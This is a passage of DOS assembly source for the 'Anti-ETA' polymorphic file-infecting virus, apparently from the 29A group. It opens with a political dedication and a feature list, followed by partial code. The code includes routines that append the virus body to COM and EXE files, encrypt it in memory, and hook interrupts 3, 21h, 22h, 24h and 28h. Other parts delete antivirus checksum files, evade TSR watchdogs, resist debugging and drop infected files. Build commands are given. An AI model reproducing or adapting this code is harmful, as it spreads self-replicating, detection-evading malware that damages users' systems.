; However, the reason to be of this virus takes place a few days later, when
; the euskadian violent-independentist group kidnapped Miguel Angel Blanco,
; a politician from a small town called Ermua, and threatened to kill him
; unless the spanish goverment would allow the approaching of the arrested
; terrorists to Euskadi in a 48-hour deadline. Since this was made public,
; millions of people went out to the street in order to show their inconfor-
; mity with this cruel way of acting.
;
; Sadly, none of the mass meetings which collapsed the whole Spain for 48
; hours were enough, and Miguel Angel Blanco, the 28 year-old politician,
; was eventually killed by one of these terrorists by means of two bullets
; shot in his head.
;
; The name of this euskadian terrorist group is ETA, hence the name of this
; virus, Anti-ETA, offered as a homage to all the families which were vic-
; tims of the violent way of acting of these independentists, and especially
; to Jos‚ Antonio Ortega Lara and Miguel Angel Blanco Garrido (RIP).
;
; 29A against terrorism,
; the 29A staff.
;
;
; Virus behavior
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; DLE Code executed when an infected file is run:
;
; - Polymorphic decryptor
; - CPU type check routine
; - Installation check
; - COMMAND.COM segment prefix search
; - Host allocated conventional memory reduction
; - Conventional memory order for installation
; - COMMAND.COM segment prefix activation as current PSP (this
; context change allows Anti-ETA to perform memory allocation
; calls without warning a good bunch of TSR watchdogs
; - Interrupt 22h hooking into host PSP (without modifying IVT)
; - Control return to host
;
; DLE Tasks performed by the int 22h handler:
;
; - Code decryption
; - Interrupt 3 (breakpoint) vector saving
; - Interrupt 3 hooking with the virus handler
; - Interrupt 28h (DOS idle interrupt that points to an iret
; instruction by default) vector order
; - First byte of current int 28h handler storing, instead of
; an int 3 instruction
; - Jump to the original int 22h
;
; Every time in which COMMAND.COM calls its idle interrupt, a
; breakpoint instruction gives the control to the interrupt 3
; handler, owned by Anti-ETA. This handler will count the
; number of calls until it determines that it's safe to hook
; interrupt 21h. I stole the idea on using int 28h in such a
; way from Rhincewind (see Catch22 TSR loader), but this
; approach is much more enhanced ;)
;
; DLE Code executed from the idle interrupt:
;
; - Another decryption loop performance
; - First int 28h byte restoring
; - Interrupt 3 vector restoring
; - Virus body move to another memory block (including UMBs)
; - Old memory block release
; - Interrupt 21h hooking
;
; Encryption
; ÄÄÄÄÄÄÄÄÄÄ
; The main polymorphic decryptor receives the control when an infected file
; file is executed. On program termination, the virus int 22h handler recei-
; ves the control and decrypts the whole Anti-ETA body using the decryptor
; code as key. Another decryptor appears when execution reaches virus' int 3
; handler from the previously redirected idle interrupt.
;
; Infection and activation routines are also encrypted in memory (using a
; random cipher key each time) and their code will be decrypted on the fly
; when necessary.
;
;
; Polymorphism
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; Anti-ETA is polymorphic in EXE and COM files, as well as in the COM files
; it sometimes may drop after having been called function 3bh of int 21h.
;
;
; File infection
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; When any file is executed, Anti-ETA just stores the file name and infects
; it upon termination, and same for open/close functions.
;
; Every time the virus modifies any file, ANTI-VIR.DAT and CHKLIST.MS will
; be deleted (if they exist) in order to avoid getting caught by any kind of
; integrity checker.
;
; While infecting files, Anti-ETA uses standard DOS calls, checking for
; errors after each of them and without using any system file table (looking
; for some network compatibility).
;
; The virus tries to find the original int 21h entry point (using the 52h
; function backdoor), and uses it in all the file infection routines, thus
; bypassing many TSR watchdogs.
;
; Finally, the int 3 vector is redirected to the original int 21h EP, and
; Anti-ETA uses an int 3 instruction (only 1 byte) when calling any DOS
; function for infection.
;
;
; Retro functions
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Checksum files ANTI-VIR.DAT and CHKLIST.MS are deleted from every directo-
; ry where a file is going to be infected. Apart from this, the virus con-
; tains some antidebugging code.
;
;
; Activation routines
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; On every call to the int 21h function 3bh (set current directory), the vi-
; rus will sometimes drop an infected COM file, with a random name and a
; random date/time stamp). Its size will be also random due to the polymor-
; phic encryption... and... btw, Anti-ETA will not infect its sons, just be-
; cause they're too small ;)
;
; The main payload effect triggers every july 10th (the date in which Miguel
; Angel Blanco was kidnapped), displaying a graphic that consists on a whi-
; te hand in which reads "Anti-ETA". The white hand is the symbol which we
; use in Spain to tell ETA "STOP THE KILLING!".
;
;
; Greetings
; ÄÄÄÄÄÄÄÄÄ
; This time, very special greetings go from the 29A staff to all the victims
; of ETA, hoping this will have an end some day in the future.
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm /m anti-eta.asm
; tlink anti-eta.obj
anti_eta segment
.386
assume cs:anti_eta,ds:anti_eta,es:anti_eta,ss:anti_eta
org 0000h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Some useful equates ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus entry point for all targets (COM and EXE files) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Exit for 1st virus generation ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Exit from a COM file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
exit_com: mov eax,dword ptr ds:[bp+old_header] ; Restore first
mov dword ptr ds:[0100h],eax ; four bytes
pop es ; Restore segments
pop ds
push cs ; Save return address
push 0100h
xor ax,ax ; Clear some regs
mov bx,ax
mov cx,ax
mov dx,ax
mov si,ax
mov di,ax
mov bp,ax
retf
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Exit from an EXE file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Move virus code to another memory location ³
;³ On entry: ³
;³ DS:BP -> current location ³
;³ ES -> new segment location ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Insert/remove breakpoint into/from int 28h handler code (DOS idle) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
xchg28h: push di
push es
cli
les di,dword ptr cs:[old28h] ; Xchg int 28h
mov al,byte ptr es:[di] ; first byte
xchg al,byte ptr cs:[breakpoint] ; with out buffer
stosb
sti
pop es
pop di
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Some code and data out of all the sub-decryptors ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Crypt/decrypt area 01h ³
;³ On entry: ³
;³ DS -> area 01h segment to crypt/decrypt ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
crypto01h: push bx
push es
push ds
pop es
mov si,word ptr cs:[crypt_delta]
add si,offset crypt_area01h
mov di,si
mov bx,offset crypto01h
mov cx,(byte_area01h+01h)/02h
cld
crypt_loop01h: lodsw
push ax
pop dx
cli
mov ax,0002h ; Simple stack
sub sp,ax ; verification
sti
pop ax
cmp ax,dx
jne crypt_loop01h ; Fool tracing
xor ax,word ptr cs:[bx] ; Use our code as key
stosw ; to avoid
inc bx ; modifications
cmp bx,offset exit_crypt01h
jne continue01h
mov bx,offset crypto01h
continue01h: loop crypt_loop01h
pop es
pop bx
exit_crypt01h: ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus int 22h handler ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Crypt/decrypt area 02h ³
;³ On entry: ³
;³ DS -> segment of area 02h to crypt/decrypt ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
crypto02h: push es
push ds
pop es
mov si,word ptr cs:[crypt_delta]
add si,offset crypt_area02h
mov di,si
mov cx,(byte_area02h+02h)/02h
cld
crypt_loop02h: lodsw
xchg ah,al
stosw
loop crypt_loop02h
pop es
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus int 3 handler (called on every int 28h call) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Decrypt virus int 21h code if needed ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus int 21h handler ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Perform a call to the original int 21h vector ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Installation check ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Store name of the file to execute ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ File infection ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Infect COM files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect EXE files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Append virus body to our victim ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
write_body: push bx
mov si,inf_para_size*02h ; Allocate memory
call mem_alloc ; for poly decryptor
pop bx ; and virus body
or di,di
jz no_memory
push bx
mov es,di
xor di,di
call gen_polymorph
add word ptr ds:[delta],di ; Save delta offset
mov ax,word ptr ds:[eng_entry_point]
mov si,offset inf_header
cmp dword ptr ds:[host_type],".EXE"
je fix_exe
fix_com: add word ptr ds:[si+01h],ax ; Add to jmp
jmp short entry_size_fix
fix_exe: add word ptr ds:[si+14h],ax ; Add to IP
mov ax,word ptr ds:[file_size] ; Get file size
mov dx,word ptr ds:[file_size+02h]
add ax,inf_byte_size ; Add virus size
adc dx,0000h ; to file size
add ax,di ; Add decryptor size
adc dx,0000h ; to file size
mov cx,0200h ; Get infected file
div cx ; size div 0200h
or dx,dx
jz size_round_2
inc ax
size_round_2: mov word ptr ds:[si+02h],dx ; Store new size
mov word ptr ds:[si+04h],ax ; on header
entry_size_fix: xor si,si
mov cx,inf_byte_size
rep movsb
push di
push es
pop ds
call crypto03h ; Crypt area 03h
call crypto02h ; Crypt area 02h
call crypto01h ; Crypt area 01h
call gen_encryption
mov ah,40h ; Write virus body
pop cx ; at EOF
pop bx
xor dx,dx
int 03h
jc no_write
call seek_begin
push cs
pop ds
mov ah,40h ; Write infected
mov cx,001Ch ; header
mov dx,offset inf_header
int 03h
mov al,byte ptr ds:[file_time] ; Mark file as
and al,0E0h ; infected using
or al,0Ah ; time stamp
mov byte ptr ds:[file_time],al ; (seconds=0Ah)
no_write: mov ah,49h ; Free allocated
int 03h ; memory
push cs
pop ds
mov word ptr ds:[crypt_delta],0000h ; Clear crypt delta
no_memory: jmp file_error_3
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Time for activation? ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Activation routine ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Image for the virus payload (white hand) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Create a virus dropper in the current directory ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Make a copy of file header ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
backup_header: push si
push di
push es
push ds
pop es
mov si,offset inf_header
mov di,offset old_header
mov cx,001Ch
cld
rep movsb
pop es
pop di
pop si
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Seek into file routines ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Delete file routine ³
;³ On entry: ³
;³ DS:DX -> ptr to the file name to delete ³
;³ DS:SI -> ptr to directory name ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
delete_file: push ds
pop es ; Get path of next
push si
push di
mov di,offset delete_path
push di
mov bx,di
cld
copy_del_path: lodsb
stosb
cmp al,"\"
jne no_slash_here
mov bx,di
no_slash_here: or al,al
jnz copy_del_path
mov si,dx ; Now write the name
mov di,bx ; of the file to delete
copy_del_name: lodsb ; next to path
stosb
or al,al
jnz copy_del_name
mov ax,4301h ; Wipe out the file
xor cx,cx ; attribute
pop dx
int 03h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Hook int 24h to a dummy handler and redirect int 21h over int 3 ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
hook_24h_03h: push ax
push bx
push ds
push es
push cs
pop ds
mov al,03h
call get_int
mov word ptr ds:[old03h],bx
mov word ptr ds:[old03h+02h],es
mov dx,offset call21h
call set_int
mov al,24h
call get_int
mov word ptr ds:[old24h],bx
mov word ptr ds:[old24h+02h],es
mov dx,offset my24h
call set_int
pop es
pop ds
pop bx
pop ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Restore int 24h and 3 ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
free_24h_03h: push ax
push ds
mov al,03h
lds dx,dword ptr cs:[old03h]
call set_int
mov al,24h
lds dx,dword ptr cs:[old24h]
call set_int
pop ds
pop ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus critical error interrupt handler (int 24h) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
my24h: sti
mov al,3 ; Return error in
iret ; function
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate polymorphic encryption ³
;³ On entry: ³
;³ DS -> virus code segment ³
;³ ES:DI -> position where the engine has to put the decryptor ³
